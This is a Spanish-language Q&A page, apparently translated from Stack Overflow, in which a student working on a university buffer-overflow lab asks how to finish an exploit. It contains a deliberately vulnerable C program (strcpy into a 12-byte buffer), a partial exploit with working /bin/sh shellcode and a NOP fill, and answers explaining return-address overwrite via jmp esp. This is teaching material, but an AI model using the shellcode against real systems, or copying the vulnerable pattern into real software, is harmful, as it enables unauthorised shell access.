2012-03-12 14 views
11

Estoy trabajando en un proyecto en el que se supone que debo escribir un programa en C para aprovechar la vulnerabilidad de un programa determinado.Explotar un BufferOverflow

Aquí es el programa de C vulnerables:

#include <stdlib.h> 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
} 

Y aquí es el código para explotar:

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
char shellcode[]= 
"\x31\xc0" /* xorl %eax,%eax */ 
"\x50"  /* pushl %eax  */ 
"\x68""//sh"/* pushl $0x68732f2f */ 
"\x68""/bin"/* pushl $0x6e69622f */ 
"\x89\xe3" /* movl %esp,%ebx */ 
"\x50"  /* pushl %eax  */ 
"\x53"  /* pushl %ebx  */ 
"\x89\xe1" /* movl %esp,%ecx */ 
"\x99"  /* cdql    */ 
"\xb0\x0b" /* movb $0x0b,%al */ 
"\xcd\x80" /* int $0x80  */ 
; 

void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(&buffer, 0x90, 517); 

    /* Fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

Por lo tanto, necesidad de llenar el buffer con contenidos apropiados antes de guardarlo en el "ArchivoMalos ". He leído mucho sobre desbordamientos de búfer y creo que necesito modificar la dirección de retorno del programa vulnerable. Pero realmente no sé cómo se supone que debo hacerlo. ¿Debo buscar primero la dirección de devolución original o hay algo más que pueda hacer? Además, ¿alguna idea/sugerencia sobre cómo se supone que debo implementar el búfer?

+1

Solo pensé en publicar el enlace a [el proyecto] (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/). – Mehrdad

+1

Necesita averiguar el desplazamiento del búfer que terminará sobrescribiendo el puntero de retorno guardado, luego ajustar el valor en ese desplazamiento para apuntar a una instrucción que terminará ejecutando el resto del búfer (como un 'jmp esp') –

+2

Si el proyecto es para [escuela] (http://meta.stackexchange.com/q/10811/133817), menciónelo explícitamente. Las preguntas sobre SO deben estar más dirigidas a su propio código que este (consulte el enlace para obtener más información); si ni siquiera está seguro de por dónde empezar, sería mejor preguntarle a su maestro o a la AT. Eso es algo que deberían haber cubierto en clase o en su material. – outis

Respuesta

1

Sugiero leer las páginas en Metasploit Unleashed, comenzando con this one. Puede ir a través de los módulos de ruby ​​asociados, para ver qué está sucediendo realmente, y pasar a C. Si bien no es trivial, demuestra los métodos necesarios.

Además, como otros han sugerido, utilizar un depurador es importante para descubrir qué está pasando. Obtener uno decente, como cgdb, ddd, pyclewn, o gdb-mode, hará la vida mucho más fácil.

Cuestiones relacionadas